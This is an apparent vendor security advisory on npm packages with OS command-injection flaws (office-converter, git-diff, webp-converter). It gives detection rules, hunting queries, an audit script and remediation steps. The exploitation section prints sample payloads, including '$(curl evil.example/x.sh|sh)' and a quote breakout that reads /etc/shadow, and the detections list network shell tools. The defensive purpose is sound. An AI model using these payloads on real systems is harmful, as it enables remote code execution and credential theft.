In the last 72 hours, NVD published seven CRITICAL-severity CVEs affecting packages in the Node.js/npm ecosystem, all carrying network attack vectors and CVSS scores up to 9.8. The cluster includes CVE-2026-110634 (git-diff before 2.0.7), CVE-2026-110635 (webp-converter before 3.0.0), CVE-2026-110638, CVE-2026-110639, CVE-2026-110640, CVE-2026-110643, and — newly published despite its 2020 identifier — CVE-2020-37282 (office-converter through 1.0.2).
The common thread is the most dangerous class of flaw we see in server-side JavaScript: OS command injection via child_process. These packages take developer- or user-controlled input (file names, diff targets, conversion parameters), concatenate it into shell commands, and execute it. When a Node.js service exposes any upload, conversion, or diff functionality to the network, the result is unauthenticated remote code execution with the privileges of the Node process — which in far too many production deployments is root inside a container with broad cloud metadata access.
If your organization runs Node.js services that process files — PDF generation, image conversion, document pipelines, CI/CD tooling — treat this as an immediate dependency-audit event, not a routine patch cycle.
Technical Analysis
Affected Packages and Versions
| CVE | Package | Affected Versions | CVSS | Issue |
|---|---|---|---|---|
| CVE-2020-37282 | office-converter | through 1.0.2 | 9.8 | OS command injection in generatePdf() / generateHtml() |
| CVE-2026-110634 | git-diff | before 2.0.7 | 9.8 | OS command injection |
| CVE-2026-110635 | webp-converter | before 3.0.0 | 9.8 | OS command injection |
| CVE-2026-110638 | (npm package, details pending in NVD) | see advisory | Critical | Network-vector |
| CVE-2026-110639 | (npm package, details pending in NVD) | see advisory | Critical | Network-vector |
| CVE-2026-110640 | (npm package, details pending in NVD) | see advisory | Critical | Network-vector |
| CVE-2026-110643 | (npm package, details pending in NVD) | see advisory | Critical | Network-vector |
How the Exploitation Works
The mechanics are consistent across this cluster and worth understanding precisely, because they define what you can detect.
CVE-2020-37282 (office-converter): The package wraps LibreOffice's unoconv utility to convert documents. The generatePdf() and generateHtml() functions accept a fileName parameter and concatenate it directly into a command string passed to child_process.exec(). Because exec() spawns a shell (/bin/sh -c), an attacker who controls the file name can break out of the intended command using:
- Command substitution:
$(curl evil.example/x.sh|sh)or backtick payloads - Quote termination followed by shell metacharacters:
"; id; #or'; cat /etc/shadow; ' - Pipes and redirection to stage payloads or exfiltrate data
The injected command executes with the UID of the Node.js process. No authentication is required if the underlying functionality (e.g., an upload-and-convert endpoint) is exposed.
CVE-2026-110634 (git-diff) and CVE-2026-110635 (webp-converter): Both follow the same anti-pattern — arguments flowing into shell command strings that invoke git diff or cwebp/dwebp binaries respectively. Any application that passes user-influenced values (branch names, file paths, image names) into these libraries is exposed.
Exploitation Requirements and Real-World Exposure
Exploitation requires an attacker to influence a string that reaches the vulnerable function. In practice, this means:
- File upload endpoints where the original filename is preserved and passed to a converter
- Multi-tenant SaaS features that generate PDFs/exports from user content
- CI pipelines that diff attacker-controlled branch or tag names
- Image processing APIs accepting user-supplied file names
Exploitation Status
As of publication, none of these seven CVEs appear in the CISA Known Exploited Vulnerabilities catalog, and we have no confirmed in-the-wild exploitation reporting. However, the 9.8-severity entries describe trivially exploitable injection patterns — payloads like $(...) and backticks require no specialized tooling. History with npm command-injection flaws (e.g., past converged exploitation of similar child_process bugs) shows a short lag between NVD publication and opportunistic scanning. Treat exploitation as imminent, not theoretical. Note also that office-converter's last release (1.0.2) predates this CVE by years — no patched version exists, making removal or compensating controls the only remediation for that package.
Detection & Response
The most reliable telemetry signal for this entire class of vulnerability is Node.js spawning a shell or a conversion binary spawning a shell it has no business spawning. In a healthy deployment, node may exec unoconv, cwebp, or git — but those child binaries should never themselves spawn /bin/sh, bash, curl, wget, or interpreters. That parent-child anomaly is high-fidelity and low-noise on production app servers.
---
title: Node.js Process Spawning Shell — Possible npm Command Injection
id: 3f8c1a72-6b24-4d9e-a517-9e2c5d8f0a31
status: experimental
description: Detects node/npm processes spawning shell interpreters, consistent with exploitation of child_process command injection vulnerabilities such as CVE-2020-37282, CVE-2026-110634, and CVE-2026-110635 in npm packages.
references:
- https://nvd.nist.gov/vuln/detail/CVE-2020-37282
- https://attack.mitre.org/techniques/T1059/
author: Security Arsenal
date: 2026/04/06
tags:
- attack.execution
- attack.t1059.004
logsource:
category: process_creation
product: linux
detection:
selection_parent:
ParentImage|endswith:
- '/node'
- '/npm'
- '/nodejs'
selection_child:
Image|endswith:
- '/sh'
- '/bash'
- '/dash'
- '/zsh'
condition: selection_parent and selection_child
falsepositives:
- Legitimate build scripts and npm lifecycle hooks (postinstall) during deployments
- Development workstations running tooling
level: high
---
title: Document or Image Conversion Binary Spawning Shell or Network Tool
id: 8a2e4d61-1c73-4b58-9f02-7d6a3c5e9b44
status: experimental
description: Detects conversion utilities (unoconv, soffice, cwebp, dwebp, git) spawning shells or download/execution tools, a strong indicator of command injection via packages such as office-converter (CVE-2020-37282) or webp-converter (CVE-2026-110635).
references:
- https://nvd.nist.gov/vuln/detail/CVE-2020-37282
- https://attack.mitre.org/techniques/T1059/
author: Security Arsenal
date: 2026/04/06
tags:
- attack.execution
- attack.t1059
- attack.t1105
logsource:
category: process_creation
product: linux
detection:
selection_parent:
ParentImage|endswith:
- '/unoconv'
- '/soffice.bin'
- '/soffice'
- '/cwebp'
- '/dwebp'
- '/git'
selection_child:
Image|endswith:
- '/sh'
- '/bash'
- '/curl'
- '/wget'
- '/nc'
- '/ncat'
- '/python'
- '/python3'
- '/perl'
condition: selection_parent and selection_child
falsepositives:
- Rare; conversion utilities should not spawn shells or network tools in normal operation
level: critical
---
title: Shell Metacharacters in Node.js Child Process Command Line
id: c5d7b932-4e18-4f6a-b2d4-1a9e8c3f7d56
status: experimental
description: Detects command substitution and shell metacharacter patterns in processes spawned by node, matching documented exploitation strings for CVE-2020-37282 ($(...), backticks, quote-breakout with semicolons).
references:
- https://nvd.nist.gov/vuln/detail/CVE-2020-37282
- https://attack.mitre.org/techniques/T1059.004/
author: Security Arsenal
date: 2026/04/06
tags:
- attack.execution
- attack.t1059.004
logsource:
category: process_creation
product: linux
detection:
selection_parent:
ParentImage|endswith: '/node'
selection_patterns:
CommandLine|contains:
- '$('
- '`'
- '; id'
- '; cat /etc/'
- '| sh'
- '| bash'
- '; curl'
- '; wget'
condition: selection_parent and selection_patterns
falsepositives:
- Ad-hoc administrative shelling from application hosts
- Health-check wrappers using shell pipelines
level: high
// Hunt: Node.js or conversion binaries spawning shells/network tools
// Relevant to CVE-2020-37282, CVE-2026-110634, CVE-2026-110635 exploitation
// Tables: DeviceProcessEvents (Defender) — adjust to Syslog/CommonSecurityLog for CEF-ingested Linux hosts
let suspiciousChildren = dynamic(["/bin/sh", "/bin/bash", "/usr/bin/curl", "/usr/bin/wget", "cmd.exe", "powershell.exe", "python", "perl", "nc", "ncat"]);
let suspiciousParents = dynamic(["node", "nodejs", "npm", "unoconv", "soffice", "soffice.bin", "cwebp", "dwebp", "git"]);
DeviceProcessEvents
| where TimeGenerated > ago(7d)
| where InitiatingProcessFileName in~ (suspiciousParents)
| where FileName in~ (suspiciousChildren)
or ProcessCommandLine has_any ("$(", "`id`", "; id", "| sh", "| bash", "; curl", "; wget", "/etc/shadow", "/etc/passwd")
| project TimeGenerated, DeviceName, InitiatingProcessFileName, InitiatingProcessCommandLine, FileName, ProcessCommandLine, AccountName, InitiatingProcessRemoteUrl
| order by TimeGenerated desc;
-- Hunt: Node.js / conversion-tool process trees showing shell or network-tool children
-- Relevant to npm command injection (CVE-2020-37282, CVE-2026-110634, CVE-2026-110635)
SELECT Pid, Ppid, Name, CommandLine, Exe, Username, CreateTime
FROM pslist()
WHERE CommandLine =~ '(?i)(\$\(|`;|;/ *(id|cat|curl|wget|bash|sh)|\| *(ba)?sh)'
OR (Exe =~ '(?i)(sh|bash|curl|wget|nc|ncat|python|perl)$'
AND Name =~ '(?i)(sh|bash|curl|wget|nc|python|perl)')
#!/usr/bin/env bash
# audit-node-cmd-injection.sh — Identify vulnerable npm packages and suspicious process activity
# Covers: CVE-2020-37282 (office-converter <=1.0.2), CVE-2026-110634 (git-diff <2.0.7),
# CVE-2026-110635 (webp-converter <3.0.0)
set -euo pipefail
TARGET_DIR="${1:-/srv}"
echo "[*] Scanning ${TARGET_DIR} for vulnerable npm packages..."
# --- 1. Locate installed copies of the vulnerable packages ---
find "${TARGET_DIR}" -type d \( -name "office-converter" -o -name "git-diff" -o -name "webp-converter" \) \
-path "*/node_modules/*" 2>/dev/null | while read -r pkgdir; do
pkg="$(basename "$pkgdir")"
ver="$(grep -m1 '\"version\"' "${pkgdir}/package.json" 2>/dev/null | sed -E 's/.*"version": *"([^"]+)".*/\1/')"
echo "[FOUND] ${pkg} @ ${ver} -> ${pkgdir}"
done
# --- 2. Check lockfiles for pinned vulnerable versions ---
echo "[*] Checking package-lock.json / yarn.lock / pnpm-lock.yaml for vulnerable ranges..."
grep -rEl '"office-converter"|"git-diff"|"webp-converter"' "${TARGET_DIR}" \
--include='package-lock.json' --include='yarn.lock' --include='pnpm-lock.yaml' 2>/dev/null || echo " (no lockfile matches)"
# --- 3. Run npm audit in each discovered project root ---
find "${TARGET_DIR}" -name 'package.json' -not -path '*/node_modules/*' 2>/dev/null | while read -r manifest; do
proj="$(dirname "$manifest")"
echo "[*] npm audit in ${proj}"
(cd "$proj" && npm audit --audit-level=high 2>/dev/null | head -40) || true
done
# --- 4. Live check: node or conversion tools spawning shells right now ---
echo "[*] Checking running processes for injection indicators..."
ps auxww | grep -E '(\$\(|`.*`|; *(id|curl|wget|cat /etc)|\| *(ba)?sh)' | grep -v grep || echo " (no suspicious command lines)"
echo "[*] Done. Remediate: git-diff>=2.0.7, webp-converter>=3.0.0, REMOVE office-converter (no patch available)."
Remediation
1. Patch the packages that have fixes — immediately:
- git-diff → upgrade to 2.0.7 or later (CVE-2026-110634)
- webp-converter → upgrade to 3.0.0 or later (CVE-2026-110635)
2. Remove office-converter (CVE-2020-37282). The vulnerable code path exists through 1.0.2 — the latest published release — and the package is effectively unmaintained. There is no patch. Replace it with an actively maintained alternative that uses execFile()/spawn() with argument arrays (no shell), or invoke LibreOffice directly with strict input handling. If removal is not immediately possible:
- Sanitize any value reaching
fileName: enforce a strict allowlist (e.g.,^[A-Za-z0-9._-]+$), reject everything else. - Generate filenames server-side (UUIDs) and never pass user-supplied names to the converter.
- Run the conversion workload in a hardened, network-segmented container with a non-root UID, read-only root filesystem, no outbound egress, and no cloud metadata endpoint access (block 169.254.169.254).
3. Track the remaining CVEs. CVE-2026-110638, CVE-2026-110639, CVE-2026-110640, and CVE-2026-110643 are newly published critical network-vector entries in the same Node.js cluster; NVD enrichment is in progress. Subscribe to the NVD feeds and GitHub Advisory Database, and re-run npm audit / SCA scans as details land. Do not wait — inventory first, patch as advisories populate.
4. Fix the systemic issue, not just the CVEs. This cluster exists because of a recurring anti-pattern. Mandate in code review and SCA policy:
- Ban
child_process.exec()with concatenated strings; requireexecFile()/spawn()with array arguments andshell: false. - Treat every npm package that wraps a system binary as a security boundary — pin versions, review source, and monitor for new advisories.
- Enforce egress filtering and least privilege on application containers so a successful injection cannot reach internal networks or cloud credentials.
5. Hunt before you patch. Because these flaws are trivially exploitable, assume scanning began at disclosure. Run the Sigma/KQL/VQL detections above across at least the last 7–14 days of telemetry on any host that had the vulnerable packages installed, and inspect outbound connections from application containers during that window.
References:
- NVD: https://nvd.nist.gov/vuln/detail/CVE-2020-37282 (and sibling entries for CVE-2026-110634, CVE-2026-110635, CVE-2026-110638/39/40/43)
- GitHub Advisory Database: https://github.com/advisories
- npm audit: https://docs.npmjs.com/cli/v10/commands/npm-audit
Related Resources
Security Arsenal Penetration Testing Services AlertMonitor Platform Book a SOC Assessment vulnerability-management Intel Hub
Is your security operations ready?
Get a free SOC assessment or see how AlertMonitor cuts through alert noise with automated triage.